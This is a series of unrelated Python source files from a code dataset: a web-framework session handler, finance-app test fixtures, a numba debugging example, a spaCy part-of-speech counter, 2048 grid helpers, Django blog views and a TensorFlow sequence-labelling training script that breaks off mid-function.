None\n\n if app:\n self.init_app(app)\n\n def init_app(self, app: Kyokai):\n \"\"\"\n Loads the secret key from the config.\n \"\"\"\n try:\n self.secret_key = app.config[\"secret_key\"].encode()\n except KeyError:\n raise Exception(\"You must set a secret key in `config.yml` for sessions to work.\")\n\n self.signer = itsdangerous.Signer(self.secret_key)\n\n def _get_id(self, request: Request):\n \"\"\"\n Checks a request for the cookie headers.\n \"\"\"\n cook = request.cookies.get(\"KySess\")\n if not cook:\n return None\n # Load, and unsign.\n try:\n id = self.signer.unsign(cook)\n except itsdangerous.BadSignature:\n return None\n else:\n return id\n\n def login_required(self, func):\n \"\"\"\n Decorator for checking if the login is correct.\n \"\"\"\n @functools.wraps(func)\n async def _login_required_fake_func(request: Request, *args):\n \"\"\"\n You will never see this.\n\n Enforces login.\n \"\"\"\n id = self._get_id(request)\n if not id:\n return redirect(self.redirect_uri)\n # Get the user object.\n if asyncio.iscoroutine(self._callable_f):\n # Don't know why, but ok\n u = await self._callable_f\n elif asyncio.iscoroutinefunction(self._callable_f):\n u = await self._callable_f(id)\n else:\n u = self._callable_f(id)\n # Await the underlying function.\n return await func(request, u, *args)\n\n return _login_required_fake_func\n\n def login(self, id, redirect_uri=\"/\"):\n \"\"\"\n Logs in a user, and returns a Response.\n \"\"\"\n r = redirect(redirect_uri)\n r.cookies[\"KySess\"] = self.signer.sign(id)\n return r","sub_path":"kyokai/ext/sessions/sessionhandler.py","file_name":"sessionhandler.py","file_ext":"py","file_size_in_byte":3812,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"642017241","text":"import csv\nimport os\nfrom functools import partial\n\nimport pytest\n\nfrom finance.web import create_app\nfrom finance.importers import import_stock_values\nfrom finance.models import db as _db\nfrom finance.models import (\n Account,\n AccountType,\n Asset,\n AssetType,\n CurrencyAsset,\n FundAsset,\n P2PBondAsset,\n Portfolio,\n StockAsset,\n)\n\n\n@pytest.fixture(scope=\"session\")\ndef app(request):\n \"\"\"Session-wide test `Flask` application.\"\"\"\n settings_override = {\n \"TESTING\": True,\n }\n settings_override[\"SQLALCHEMY_DATABASE_URI\"] = os.environ[\"TEST_DB_URL\"]\n app = create_app(__name__, config=settings_override)\n\n # Establish an application context before running the tests.\n # ctx = app.app_context()\n # ctx.push()\n\n # def teardown():\n # ctx.pop()\n\n # request.addfinalizer(teardown)\n return app\n\n\n@pytest.fixture\ndef testapp(app, db):\n with app.app_context():\n yield app.test_client()\n\n\n@pytest.fixture(scope=\"module\", autouse=True)\ndef db(app, request):\n \"\"\"Session-wide test database.\"\"\"\n\n def teardown():\n with app.app_context():\n _db.session.close()\n _db.drop_all()\n\n request.addfinalizer(teardown)\n\n _db.app = app\n with app.app_context():\n _db.create_all()\n\n yield _db\n\n\n@pytest.fixture(scope=\"module\")\ndef stock_assets():\n with open(\"tests/samples/stocks.csv\") as fin:\n reader = csv.reader(fin, delimiter=\",\")\n for row in reader:\n isin, code, name = row\n if isin.startswith(\"#\"):\n continue\n Asset.create(type=AssetType.stock, isin=isin, code=code, name=name)\n\n\n@pytest.fixture(scope=\"function\")\ndef account_checking(request, db):\n account = Account.create(type=\"checking\", name=\"신한은행 입출금\")\n request.addfinalizer(partial(teardown, db=db, record=account))\n return account\n\n\n@pytest.fixture(scope=\"function\")\ndef account_savings(request, db):\n account = Account.create(type=\"savings\", name=\"신한은행 적금\")\n request.addfinalizer(partial(teardown, db=db, record=account))\n return account\n\n\n@pytest.fixture(scope=\"function\")\ndef account_8p(request, db):\n account = Account.create(type=\"virtual\", name=\"8퍼센트\")\n request.addfinalizer(partial(teardown, db=db, record=account))\n return account\n\n\n@pytest.fixture(scope=\"function\")\ndef account_hf(request, db):\n account = Account.create(type=\"virtual\", name=\"어니스트펀드\")\n request.addfinalizer(partial(teardown, db=db, record=account))\n return account\n\n\n@pytest.fixture(scope=\"function\")\ndef account_sp500(request, db):\n account = Account.create(type=\"investment\", name=\"S&P500 Fund\")\n request.addfinalizer(partial(teardown, db=db, record=account))\n return account\n\n\n@pytest.fixture(scope=\"function\")\ndef account_stock(request, db):\n account = Account.create(\n type=AccountType.investment,\n institution=\"Miraeasset\",\n number=\"ACCOUNT1\",\n name=\"미래에셋대우 1\",\n )\n request.addfinalizer(partial(teardown, db=db, record=account))\n return account\n\n\n@pytest.fixture(scope=\"module\")\ndef asset_hf1(request, db):\n asset = P2PBondAsset.create(name=\"포트폴리오 투자상품 1호\")\n request.addfinalizer(partial(teardown, db=db, record=asset))\n assert asset.type == \"p2p_bond\"\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef asset_krw(request, db):\n asset = CurrencyAsset.create(code=\"KRW\", description=\"Korean Won\")\n request.addfinalizer(partial(teardown, db=db, record=asset))\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef asset_sp500(request, db):\n asset = FundAsset.create(\n name=\"KB Star S&P500\", description=\"\", data={\"code\": \"KR5223941018\"}\n )\n request.addfinalizer(partial(teardown, db=db, record=asset))\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef asset_usd(request, db):\n asset = CurrencyAsset.create(code=\"USD\", description=\"United States Dollar\")\n request.addfinalizer(partial(teardown, db=db, record=asset))\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef stock_asset_ncsoft(request, db):\n asset = StockAsset.create(\n name=\"NCsoft Corporation\",\n code=\"036570.KS\",\n description=\"NCsoft Corporation\",\n data={\"bps\": 88772, \"eps\": 12416},\n )\n request.addfinalizer(partial(teardown, db=db, record=asset))\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef stock_asset_spy(request, db, asset_usd):\n asset = StockAsset.create(\n name=\"SPY\",\n code=\"SPY\",\n isin=\"US78462F1030\",\n description=\"SPDR S&P 500 ETF Trust Fund\",\n )\n request.addfinalizer(partial(teardown, db=db, record=asset))\n\n with open(\"tests/samples/SPY.csv\") as fin:\n for av in import_stock_values(fin, \"SPY\", base_asset=asset_usd):\n request.addfinalizer(partial(teardown, db=db, record=av))\n\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef stock_asset_amd(request, db, asset_usd):\n asset = StockAsset.create(\n name=\"AMD\",\n code=\"AMD\",\n isin=\"US0079031078\",\n description=\"Advanced Micro Devices, Inc\",\n )\n request.addfinalizer(partial(teardown, db=db, record=asset))\n\n with open(\"tests/samples/AMD.csv\") as fin:\n for av in import_stock_values(fin, \"AMD\", base_asset=asset_usd):\n request.addfinalizer(partial(teardown, db=db, record=av))\n\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef stock_asset_nvda(request, db, asset_usd):\n asset = StockAsset.create(\n name=\"NVDA\", code=\"NVDA\", isin=\"US67066G1040\", description=\"NVIDIA Corporation\"\n )\n request.addfinalizer(partial(teardown, db=db, record=asset))\n\n with open(\"tests/samples/NVDA.csv\") as fin:\n for av in import_stock_values(fin, \"NVDA\", base_asset=asset_usd):\n request.addfinalizer(partial(teardown, db=db, record=av))\n\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef stock_asset_amzn(request, db, asset_usd):\n asset = StockAsset.create(\n name=\"AMZN\", code=\"AMZN\", isin=\"US0231351067\", description=\"Amazon\"\n )\n request.addfinalizer(partial(teardown, db=db, record=asset))\n\n with open(\"tests/samples/AMZN.csv\") as fin:\n for av in import_stock_values(fin, \"AMZN\", base_asset=asset_usd):\n request.addfinalizer(partial(teardown, db=db, record=av))\n\n return asset\n\n\n@pytest.fixture(scope=\"module\")\ndef stock_asset_sbux(request, db, asset_usd):\n asset = StockAsset.create(\n name=\"SBUX\", code=\"SBUX\", isin=\"US8552441094\", description=\"Starbucks\"\n )\n request.addfinalizer(partial(teardown, db=db, record=asset))\n\n with open(\"tests/samples/SBUX.csv\") as fin:\n for av in import_stock_values(fin, \"SBUX\", base_asset=asset_usd):\n request.addfinalizer(partial(teardown, db=db, record=av))\n\n return asset\n\n\n@pytest.fixture(scope=\"function\")\ndef portfolio(request, db, asset_krw, account_checking, account_sp500):\n p = Portfolio.create(base_asset=asset_krw)\n p.add_accounts(account_checking, account_sp500)\n\n def teardown():\n # NOTE: The following statement is necessary because the scope of\n # `asset_krw` is a module, whereas the scope of `p` is a function.\n p.base_asset = None\n db.session.delete(p)\n db.session.commit()\n\n request.addfinalizer(teardown)\n return p\n\n\ndef teardown(db, record):\n db.session.delete(record)\n db.session.commit()\n","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":7436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"256495441","text":"# Copyright 2020, 2021 Intel Corporation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\n\nimport dpctl\nimport numba\nimport numpy as np\n\nimport numba_dppy as dppy\n\n\ndef func(param_a, param_b):\n param_c = param_a + 10 # Set breakpoint\n param_d = param_b * 0.5\n result = param_c + param_d\n return result\n\n\ndppy_func = dppy.func(debug=True)(func)\nnumba_func = numba.njit(debug=True)(func)\n\n\n@dppy.kernel(debug=True)\ndef dppy_kernel(a_in_kernel, b_in_kernel, c_in_kernel):\n i = dppy.get_global_id(0)\n c_in_kernel[i] = dppy_func(a_in_kernel[i], b_in_kernel[i])\n\n\n@numba.njit(debug=True)\ndef numba_func_driver(a, b, c):\n for i in range(len(c)):\n c[i] = numba_func(a[i], b[i])\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--api\",\n required=False,\n default=\"numba\",\n choices=[\"numba\", \"numba-dppy\"],\n help=\"Start the version of functions using numba or numba-dppy API\",\n )\n\n args = parser.parse_args()\n\n print(\"Using API:\", args.api)\n\n global_size = 10\n N = global_size\n\n a = np.arange(N, dtype=np.float32)\n b = np.arange(N, dtype=np.float32)\n c = np.empty_like(a)\n\n if args.api == \"numba-dppy\":\n device = dpctl.select_default_device()\n with dppy.offload_to_sycl_device(device):\n dppy_kernel[global_size, dppy.DEFAULT_LOCAL_SIZE](a, b, c)\n else:\n numba_func_driver(a, b, c)\n\n print(\"Done...\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"numba_dppy/examples/debug/dppy_numba_basic.py","file_name":"dppy_numba_basic.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"612796420","text":"from collections import Counter\nimport spacy\n\n\ndef complex_words_PoS_count(dataset):\n tag_count = Counter()\n for sent in dataset:\n word = sent['target_word']\n tokenized_word = word.split()\n sentence = sent['sentence']\n gold_label = sent['gold_label']\n nlp = spacy.load('en_core_web_sm')\n doc = nlp(sentence)\n\n tags = [(token.text, token.tag_) for token in doc]\n if gold_label == \"1\":\n if len(tokenized_word) == 1:\n tokenized_word = word\n for tag in tags:\n if tag[0] == word:\n tag_count[tag[1]] += 1\n # And sometimes you get more than one word\n elif (len(tokenized_word) > 1):\n for word in tokenized_word:\n for tag in tags:\n if tag[0] == word:\n tag_count[tag[1]] += 1\n\n return tag_count\n","sub_path":"pos_counts.py","file_name":"pos_counts.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"439891390","text":"import numpy as np\nimport pandas as pd\n\ndef mirror_mat(matrix):\n grid = [row[:] for row in matrix]\n n = len(grid)\n m = len(grid[0])\n m2 = round(m/2)\n for i in range(n):\n for j in range(m2):\n temp = grid[i][j]\n grid[i][j] = grid[i][m-j-1]\n grid[i][m-j-1] = temp\n return grid\n\ndef transpose_mat(matrix):\n grid = [row[:] for row in matrix]\n n = len(grid)\n m = len(grid[0])\n for i in range(n):\n for j in range(m):\n if(i= threshold)\n corners = [[0,0],[0,m-1],[n-1,0],[n-1,m-1]]\n score = 0\n for r in range(len(relevant)):\n dists = []\n for c in range(len(corners)):\n a = relevant[r]\n b = corners[c]\n dists.append(np.linalg.norm(a-b))\n print(dists)\n min_distance = min(dists)\n score += min_distance\n return score\n\ndef avg_dist_between_largest(matrix, num_sigma=2):\n grid = np.array(matrix)\n miu = grid.mean()\n sigma = grid.std()\n threshold = round(miu + num_sigma * sigma)\n relevant = np.argwhere(grid >= threshold)\n distances = []\n done = []\n for r0 in range(len(relevant)):\n for r1 in range(len(relevant)):\n if [r0,r1] not in done and [r1,r0] not in done:\n distances.append(np.linalg.norm(relevant[r0]-relevant[r1]))\n done.append([[r0,r1]])\n avg_dist = sum(distances)/len(distances)\n return avg_dist\n\ngrid = [[4, 8, 8, 64],\n [0, 0, 0, 0 ],\n [0, 0, 0, 2 ],\n [4, 0, 0, 2 ]]\n\n\n\nprint(avg_dist_between_largest(grid))","sub_path":"other/2048.py","file_name":"2048.py","file_ext":"py","file_size_in_byte":3644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"575347638","text":"from django.shortcuts import render, redirect, get_object_or_404\r\nfrom django.contrib import messages\r\nfrom django.contrib.auth.models import User\r\nfrom django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView\r\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\r\nfrom .forms import UserRegisterForm, UserUpdateForm, ProfileUpdateForm\r\nfrom .models import Post\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.views import View\r\nfrom django.http import HttpResponse\r\n\r\n\r\n\r\ndef index(request):\r\n return render(request, 'bashmycode/index.html')\r\n\r\nclass PostListViewBash(ListView):\r\n model = Post\r\n queryset = Post.objects.filter(post_type='BASH').order_by('-likes')\r\n template_name = 'bashmycode/bash.html' # /_.html\r\n context_object_name = 'posts'\r\n paginate_by = 5\r\n\r\n# SOMETHING WRONG WITH PAGINATION ON HELP\r\nclass PostListViewHelp(ListView):\r\n model = Post\r\n queryset = Post.objects.filter(post_type='HELP').order_by('-likes')\r\n template_name = 'bashmycode/help.html' # /_.html\r\n context_object_name = 'posts'\r\n paginate_by = 5\r\n\r\n\r\nclass UserPostListView(ListView):\r\n model = Post\r\n template_name = 'bashmycode/user_posts.html' # /_.html\r\n context_object_name = 'posts'\r\n paginate_by = 5\r\n\r\n def get_queryset(self):\r\n user = get_object_or_404(User, username=self.kwargs.get('username'))\r\n return Post.objects.filter(author=user).order_by('-likes')\r\n\r\nclass PostDetailView(DetailView):\r\n model = Post\r\n\r\nclass PostCreateView(LoginRequiredMixin, CreateView):\r\n model = Post\r\n fields = ['title', 'content', 'post_type']\r\n\r\n def form_valid(self, form):\r\n form.instance.author = self.request.user\r\n return super().form_valid(form)\r\n\r\nclass PostUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView):\r\n model = Post\r\n fields = ['title', 'content', 'post_type']\r\n\r\n def form_valid(self, form):\r\n form.instance.author = self.request.user\r\n return super().form_valid(form)\r\n \r\n def test_func(self):\r\n post = self.get_object()\r\n if self.request.user == post.author:\r\n return True\r\n return False\r\n\r\nclass PostDeleteView(LoginRequiredMixin, UserPassesTestMixin, DeleteView):\r\n model = Post\r\n success_url = '/bashmycode/'\r\n\r\n def test_func(self):\r\n post = self.get_object()\r\n if self.request.user == post.author:\r\n return True\r\n return False\r\n\r\n\r\nclass LikePostView(View):\r\n def get(self, request):\r\n post_id = request.GET['post_id']\r\n try:\r\n post = Post.objects.get(id=int(post_id))\r\n except Post.DoesNotExist:\r\n return HttpResponse(-1)\r\n except ValueError:\r\n return HttpResponse(-1)\r\n post.likes = post.likes + 1\r\n post.save()\r\n \r\n return HttpResponse(post.likes)\r\n\r\n\r\ndef bash(request):\r\n context = {\r\n 'posts': Post.objects.filter(post_type='BASH').order_by('-date_posted')\r\n }\r\n return render(request, 'bashmycode/bash.html', context)\r\n\r\ndef help(request):\r\n context = {\r\n 'posts': Post.objects.filter(post_type='HELP').order_by('-date_posted')\r\n }\r\n return render(request, 'bashmycode/bash.html', context)\r\ndef register(request):\r\n if request.method == 'POST':\r\n form = UserRegisterForm(request.POST)\r\n if form.is_valid():\r\n form.save()\r\n username = form.cleaned_data.get('username')\r\n messages.success(request, f'Account created for {username}!')\r\n return redirect('/bashmycode/login')\r\n else:\r\n form = UserRegisterForm()\r\n return render(request, 'bashmycode/register.html', {'form': form})\r\n\r\n@login_required\r\ndef profile(request):\r\n if request.method == 'POST':\r\n u_form = UserUpdateForm(request.POST, instance=request.user)\r\n p_form = ProfileUpdateForm(request.POST, request.FILES, instance=request.user.profile)\r\n if u_form.is_valid() and p_form.is_valid():\r\n u_form.save()\r\n p_form.save()\r\n messages.success(request, f'Your account has been updated!')\r\n return redirect('/bashmycode/profile')\r\n else:\r\n u_form = UserUpdateForm(instance=request.user)\r\n p_form = ProfileUpdateForm(instance=request.user.profile)\r\n\r\n context = {\r\n 'u_form': u_form,\r\n 'p_form': p_form\r\n }\r\n\r\n return render(request, 'bashmycode/profile.html', context)","sub_path":"bashmycode/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"645230283","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport math\nimport os\nimport random\nimport sys\nimport time\n\nimport numpy as np\nfrom six.moves import xrange # pylint: disable=redefined-builtin\nimport tensorflow as tf\nfrom tensorflow.contrib import learn\nimport logging\nimport data_utils\nfrom cnnLstmSerialModel import SerialModel\n\nimport data_iterator\nfrom data_iterator import DataIterator\nfrom tensorflow.python.client import timeline\n\nfrom summary import ModelSummary, variable_summaries\n\nimport argparse\n\n############################\n######## MARK:FLAGS ########\n############################\nparser = argparse.ArgumentParser(description=\"Sequence to Sequence Using Tensorflow.\")\n# mode\nparser.add_argument(\"--mode\", type=str, default=\"TRAIN\", help=\"TRAIN|DECODE\")\n\n# datasets, paths, and preprocessing\nparser.add_argument(\"--model_dir\", type=str, default=\"./model\", help=\"model_dir/data_cache/n model_dir/saved_model; model_dir/log.txt .\")\nparser.add_argument(\"--train_path_from\", type=str, default=\"./train.src\", help=\"the absolute path of raw source train file.\")\nparser.add_argument(\"--dev_path_from\", type=str, default=\"./dev.src\", help=\"the absolute path of raw source dev file.\")\nparser.add_argument(\"--test_path_from\", type=str, default=\"./test.src\", help=\"the absolute path of raw source test file.\")\nparser.add_argument(\"--word_vec_path\", type=str, default=\"./word2vec.txt\", help=\"the absolute path of word vectors file.\")\n\nparser.add_argument(\"--train_path_to\", type=str, default=\"./train.tgt\", help=\"the absolute path of raw target train file.\")\nparser.add_argument(\"--dev_path_to\", type=str, default=\"./dev.tgt.tgt\", help=\"the absolute path of raw target dev file.\")\nparser.add_argument(\"--test_path_to\", type=str, default=\"./test.tgt\", help=\"the absolute path of raw target test file.\")\n\nparser.add_argument(\"--decode_output\", type=str, default=\"./test.output\", help=\"beam search decode output.\")\n\n# tuning hypers\nparser.add_argument(\"--learning_rate\", type=float, default=0.5, help=\"Learning rate.\")\nparser.add_argument(\"--learning_rate_decay_factor\", type=float, default=0.83, help=\"Learning rate decays by this much.\")\nparser.add_argument(\"--max_gradient_norm\", type=float, default=5.0, help=\"Clip gradients to this norm.\")\nparser.add_argument(\"--keep_prob\", type=float, default=0.8, help=\"dropout rate.\")\nparser.add_argument(\"--batch_size\", type=int, default=128, help=\"Batch size to use during training/evaluation.\")\nparser.add_argument(\"--dilation_rate\",type=int,default=1,help=\"the dilatation of dilated convoluational kernel\")\n\nparser.add_argument(\"--from_vocab_size\", type=int, default=10000, help=\"from vocabulary size.\")\nparser.add_argument(\"--to_vocab_size\", type=int, default=10000, help=\"to vocabulary size.\")\n\nparser.add_argument(\"--size\", type=int, default=128, help=\"Size of each model layer.\")\nparser.add_argument(\"--num_layers\", type=int, default=2, help=\"Number of layers in the model.\")\nparser.add_argument(\"--n_epoch\", type=int, default=50, help=\"Maximum number of epochs in training.\")\n\nparser.add_argument(\"--L\", type=int, default=2000, help=\"max length\")\nparser.add_argument(\"--patience\", type=int, default=10, help=\"exit if the model can't improve for $patence / 2 epochs\")\n\n# devices\nparser.add_argument(\"--N\", type=str, default=\"000\", help=\"GPU layer distribution: [input_embedding, lstm, output_embedding]\")\n\n# training parameter\nparser.add_argument(\"--withAdagrad\", type=bool, default=True, help=\"withAdagrad.\")\nparser.add_argument(\"--fromScratch\", type=bool, default=True, help=\"fromScratch.\")\nparser.add_argument(\"--saveCheckpoint\", type=bool, default=False, help=\"save Model at each checkpoint.\")\nparser.add_argument(\"--profile\", type=bool, default=False, help=\"False = no profile, True = profile\")\n\n# GPU configuration\nparser.add_argument(\"--allow_growth\", type=bool, default=False, help=\"allow growth\")\n\n# Summary\nparser.add_argument(\"--with_summary\", type=bool, default=False, help=\"with_summary\")\nparser.add_argument(\"--data_cache_dir\", type=str, default=\"data_cache\", help=\"data_cache\")\n\nFLAGS = parser.parse_args()\n\ndef mylog(msg):\n print(msg)\n sys.stdout.flush()\n logging.info(msg)\n\n\ndef mylog_section(section_name):\n mylog(\"======== {} ========\".format(section_name)) \n\ndef mylog_subsection(section_name):\n mylog(\"-------- {} --------\".format(section_name)) \n\ndef mylog_line(section_name, message):\n mylog(\"[{}] {}\".format(section_name, message))\n\n\ndef get_device_address(s):\n add = []\n if s == \"\":\n for i in xrange(3):\n add.append(\"/cpu:0\")\n else:\n add = [\"/gpu:{}\".format(int(x)) for x in s]\n\n return add\n\ndef show_all_variables():\n all_vars = tf.global_variables()\n for var in all_vars:\n mylog(var.name)\n\n\ndef log_flags():\n mylog_section(\"FLAGS\")\n for attr, value in sorted(FLAGS.__dict__.items()):\n mylog(\"{}={}\".format(attr.upper(), value))\n\ndef create_model(session, run_options, run_metadata, max_len):\n devices = get_device_address(FLAGS.N)\n dtype = tf.float32\n model = SerialModel(FLAGS.size,\n FLAGS.real_vocab_size_from,\n FLAGS.real_vocab_size_to,\n FLAGS.num_layers,\n FLAGS.max_gradient_norm,\n FLAGS.batch_size,\n max_len,\n FLAGS.learning_rate,\n FLAGS.learning_rate_decay_factor,\n withAdagrad = FLAGS.withAdagrad,\n dropoutRate = FLAGS.keep_prob,\n dtype = dtype,\n devices = devices,\n run_options = run_options,\n run_metadata = run_metadata,\n word_vector = FLAGS.word_vector,\n dilation_rate=FLAGS.dilation_rate,\n )\n\n ckpt = tf.train.get_checkpoint_state(FLAGS.saved_model_dir)\n\n if FLAGS.mode == \"DECODE\":\n mylog(\"Reading model parameters from %s\" % ckpt.model_checkpoint_path)\n model.saver.restore(session, ckpt.model_checkpoint_path)\n else:\n mylog(\"Created model with fresh parameters.\")\n session.run(tf.global_variables_initializer())\n return model\n\ndef train():\n\n # Read Data\n mylog_section(\"READ DATA\")\n\n from_train = None\n to_train = None\n from_dev = None\n to_dev = None\n \n from_train, to_train, from_dev, to_dev, _, _ = data_utils.prepare_data(\n FLAGS.data_cache_dir,\n FLAGS.train_path_from,\n FLAGS.train_path_to,\n FLAGS.dev_path_from,\n FLAGS.dev_path_to,\n FLAGS.from_vocab_size,\n FLAGS.to_vocab_size)\n\n train_data, train_max_len = data_utils.read_data(from_train,to_train)\n dev_data, dev_max_len = data_utils.read_data(from_dev,to_dev)\n max_len = max(train_max_len, dev_max_len)\n _,_,real_vocab_size_from,real_vocab_size_to = data_utils.get_vocab_info(FLAGS.data_cache_dir)\n \n FLAGS.real_vocab_size_from = real_vocab_size_from\n FLAGS.real_vocab_size_to = real_vocab_size_to\n\n if FLAGS.word_vector:\n \tword_embedding, _ = data_utils.read_word_vec(FLAGS.word_vec_path, FLAGS.data_cache_dir)\n else:\n \tword_embedding = None\n\n train_n_tokens = np.sum([len(items[1]) for items in train_data])\n train_total_size = len(train_data)\n dev_total_size = len(dev_data)\n\n mylog_section(\"REPORT\")\n # steps\n batch_size = FLAGS.batch_size\n n_epoch = FLAGS.n_epoch\n steps_per_epoch = int(train_total_size / batch_size)\n steps_per_dev = int(dev_total_size / batch_size)\n steps_per_checkpoint = int(steps_per_epoch / 2)\n total_steps = steps_per_epoch * n_epoch\n\n # reports\n mylog(\"from_vocab_size: {}\".format(FLAGS.from_vocab_size))\n mylog(\"to_vocab_size: {}\".format(FLAGS.to_vocab_size))\n mylog(\"Train:\")\n mylog(\"total: {}\".format(train_total_size))\n mylog(\"Dev:\")\n mylog(\"total: {}\".format(dev_total_size))\n mylog(\"Steps_per_epoch: {}\".format(steps_per_epoch))\n mylog(\"Total_steps:{}\".format(total_steps))\n mylog(\"Steps_per_checkpoint: {}\".format(steps_per_checkpoint))\n\n\n mylog_section(\"IN TENSORFLOW\")\n \n with tf.Graph().as_default():\n tf.set_random_seed(23)\n config = tf.ConfigProto(allow_soft_placement=True, log_device_placement = False)\n config.gpu_options.allow_growth = FLAGS.allow_growth\n config.gpu_options.per_process_gpu_memory_fraction = 1.0\n with tf.Session(config=config) as sess:\n \n # runtime profile\n if FLAGS.profile:\n run_options = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE)\n run_metadata = tf.RunMetadata()\n else:\n run_options = None\n run_metadata = None\n \n mylog_section(\"MODEL/SUMMARY/WRITER\")\n \n mylog(\"Creating Model.. (this can take a few minutes)\")\n model = create_model(sess, run_options, run_metadata, max_len)\n \n if FLAGS.with_summary:\n mylog(\"Creating ModelSummary\")\n modelSummary = ModelSummary()\n \n mylog(\"Creating tf.summary.FileWriter\")\n summaryWriter = tf.summary.FileWriter(os.path.join(FLAGS.summary_dir , \"train.summary\"), sess.graph)\n \n mylog_section(\"All Variables\")\n show_all_variables() #convenient for checking model variables\n \n # Data Iterators\n mylog_section(\"Data Iterators\")\n \n dite = DataIterator(model, train_data, batch_size)\n \n iteType = 0\n if iteType == 0:\n mylog(\"Itetype: withRandom\")\n ite = dite.next_random()\n elif iteType == 1:\n mylog(\"Itetype: withSequence\")\n ite = dite.next_sequence()\n \n # statistics during training\n step_time, loss = 0.0, 0.0\n correct = 0\n current_step = 0\n previous_losses = []\n high_acc = -1\n high_acc_step = 0\n steps_per_report = 30\n n_targets_report = 0\n report_time = 0\n n_valid_sents = 0\n n_valid_words = 0\n patience = FLAGS.patience\n \n mylog_section(\"TRAIN\")\n \n \n while current_step < total_steps:\n \n # start\n start_time = time.time()\n \n # data and train\n source_inputs, source_lengths, target_outputs = ite.next()\n\n L, unary_scores, transition_matrix = model.step(sess, source_inputs, target_outputs, source_lengths, word_embedding)\n \n # loss and time\n step_time += (time.time() - start_time) / steps_per_checkpoint\n \n _, correct_labels = CRF_viterbi_decode(unary_scores, transition_matrix, source_lengths, target_outputs)\n correct += correct_labels\n loss += L\n \n current_step += 1\n n_valid_sents += np.sum(np.sign(source_lengths))\n n_valid_words += np.sum(source_lengths)\n \n # for report\n report_time += (time.time() - start_time)\n n_targets_report += np.sum(source_lengths)\n \n if current_step % steps_per_report == 0:\n sect_name = \"STEP {}\".format(current_step)\n msg = \"StepTime: {:.2f} sec Speed: {:.2f} targets/s Total_targets: {}\".format(report_time/steps_per_report, n_targets_report*1.0 / report_time, train_n_tokens)\n mylog_line(sect_name,msg)\n \n report_time = 0\n n_targets_report = 0\n \n \n # Create the Timeline object, and write it to a json\n if FLAGS.profile:\n tl = timeline.Timeline(run_metadata.step_stats)\n ctf = tl.generate_chrome_trace_format()\n with open('timeline.json', 'w') as f:\n f.write(ctf)\n exit()\n\n \n if current_step % steps_per_checkpoint == 0:\n \n i_checkpoint = int(current_step / steps_per_checkpoint)\n \n # train_acc\n loss = loss / n_valid_words\n train_acc = correct * 1.0 / n_valid_words\n learning_rate = model.learning_rate.eval()\n \n # dev_acc\n dev_loss, dev_acc = evaluate(sess, model, dev_data, word_embedding)\n \n # report\n sect_name = \"CHECKPOINT {} STEP {}\".format(i_checkpoint, current_step)\n msg = \"Learning_rate: {:.4f} Dev_acc: {:.4f} Train_acc: {:.4f}\".format(learning_rate, dev_acc, train_acc)\n mylog_line(sect_name, msg)\n \n if FLAGS.with_summary:\n # save summary\n _summaries = modelSummary.step_record(sess, train_acc, dev_acc)\n for _summary in _summaries:\n summaryWriter.add_summary(_summary, i_checkpoint)\n \n # save model per checkpoint\n if False: # FLAGS.saveCheckpoint\n checkpoint_path = os.path.join(FLAGS.saved_model_dir, \"model\")\n s = time.time()\n model.saver.save(sess, checkpoint_path, global_step=i_checkpoint, write_meta_graph = False)\n msg = \"Model saved using {:.2f} sec at {}\".format(time.time()-s, checkpoint_path)\n mylog_line(sect_name, msg)\n \n # save best model\n if dev_acc > high_acc:\n patience = FLAGS.patience\n high_acc = dev_acc\n high_acc_step = current_step\n checkpoint_path = os.path.join(FLAGS.saved_model_dir, \"model\")\n s = time.time()\n model.saver.save(sess, checkpoint_path, global_step=i_checkpoint, write_meta_graph = False)\n msg = \"Model saved using {:.2f} sec at {}\".format(time.time()-s, checkpoint_path)\n mylog_line(sect_name, msg)\n \n else:\n patience -= 1\n \n if patience <= 0:\n mylog(\"Training finished. Running out of patience.\")\n break\n \n \n # Save checkpoint and zero timer and loss.\n step_time, loss, n_valid_sents, n_valid_words, correct = 0.0, 0.0, 0, 0, 0\n \n\ndef evaluate(sess, model, data_set, word_embedding):\n # Run evals on development set and print their perplexity/loss or accuracy.\n dropoutRateRaw = FLAGS.keep_prob\n\n start_id = 0\n loss = 0.0\n n_steps = 0\n n_valids = 0\n n_correct = 0\n batch_size = FLAGS.batch_size\n \n dite = DataIterator(model, data_set, batch_size)\n ite = dite.next_sequence()\n\n for sources, lengths, outputs in ite:\n L, unary_scores, 